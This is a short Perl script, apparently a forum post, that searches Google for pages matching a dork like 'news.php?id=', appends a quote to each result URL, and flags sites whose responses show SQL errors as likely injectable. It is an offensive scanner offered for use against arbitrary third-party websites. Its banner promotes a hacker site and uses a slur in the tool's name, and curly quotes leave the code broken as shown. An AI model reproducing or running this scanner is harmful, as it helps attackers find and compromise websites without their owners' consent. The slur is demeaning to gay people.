use LWP::UserAgent;
use Getopt::Std;

getopt(‘kpo’, \%opts);
if($opts{‘k’} eq ”)
{
print “example:g.pl -k news.php?id= -p 30\n”;
}
if($opts{‘p’} eq ”)
{
$opts{‘p’} = 1;
}

print “o0o0o0o00o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o\n”;
print “0 x90 o\n”;
print “o Gay Sql Scanner o\n”;
print “0 http://h4cky0u.org o\n”;
print “o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0\n”;

for($start = 0;$start != $opts{‘p’}*10;$start += 10)
{
$t = “http://www.google.com/search?hl=en&q=”.$opts{‘k’}.”&btnG=Search&start=”.$start;
$ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;
$ua->agent(“Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12”);
$response = $ua->get($t);
if ($response->is_success)
{
$c = $response->content;
@stuff = split(/<a href=/,$c);
foreach $line(@stuff)
{
if($line =~/(.*) class=l/ig)
{
$out = $1;
$out =~ s/”//g;
$out =~s/$/\’/;

$ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;
$ua->agent(“Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12”);
$response = $ua->get($out);
$error = $response->content();
if($error =~m/SQL syntax/)
{
print “$out:could be vulnerable!\n”;
}

}
}
}
}

~~~~~~~~~~~~~~~~

Yapamayanlar için video cekerim😀